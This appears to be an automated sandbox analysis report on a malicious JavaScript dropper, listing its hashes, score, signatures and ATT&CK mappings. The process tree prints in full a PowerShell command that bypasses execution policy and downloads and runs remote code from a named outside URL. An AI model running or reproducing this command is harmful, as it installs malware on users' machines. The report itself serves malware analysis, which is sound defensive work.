fc5729e8e94fe732deb97c9d55f32e99846d7071fb7ba82c6d318cd6482d75bf

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 02:57

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General

Target

fc5729e8e94fe732deb97c9d55f32e99846d7071fb7ba82c6d318cd6482d75bf.js
Size

69KB
MD5

c218a5c6e3a7cdac40feaae488871aec
SHA1

e1be3f6a295ca637e7904680f048888616fc6616
SHA256

fc5729e8e94fe732deb97c9d55f32e99846d7071fb7ba82c6d318cd6482d75bf
SHA512

53a004dff7955506e0222dfb5c740d1eefccea83ebfa1ef05d3883e6d686a5831bdb24e754bebab03042c1971a436cf02a96367a7c5b9a67b56af5813399aed2
SSDEEP

1536:ENM8fw49XEYpefiNx7amLDBsUoKQ++xqp2fCeyeU/91yMvWbkSGA9rN1b+1bm:EBR9UHuD3d+Ip2fC9/9wkWbkSGA9R1b1

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2508	powershell.exe
4	2508	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2508	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 2508	1984	wscript.exe	28
PID 1984 wrote to memory of 2508	1984	wscript.exe	28
PID 1984 wrote to memory of 2508	1984	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\fc5729e8e94fe732deb97c9d55f32e99846d7071fb7ba82c6d318cd6482d75bf.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2508-4-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2508-5-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/2508-6-0x000007FEF5780000-0x000007FEF611D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-8-0x000007FEF5780000-0x000007FEF611D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-7-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2508-9-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2508-10-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2508-11-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2508-12-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2508-13-0x000007FEF5780000-0x000007FEF611D000-memory.dmp

Filesize
9.6MB

Download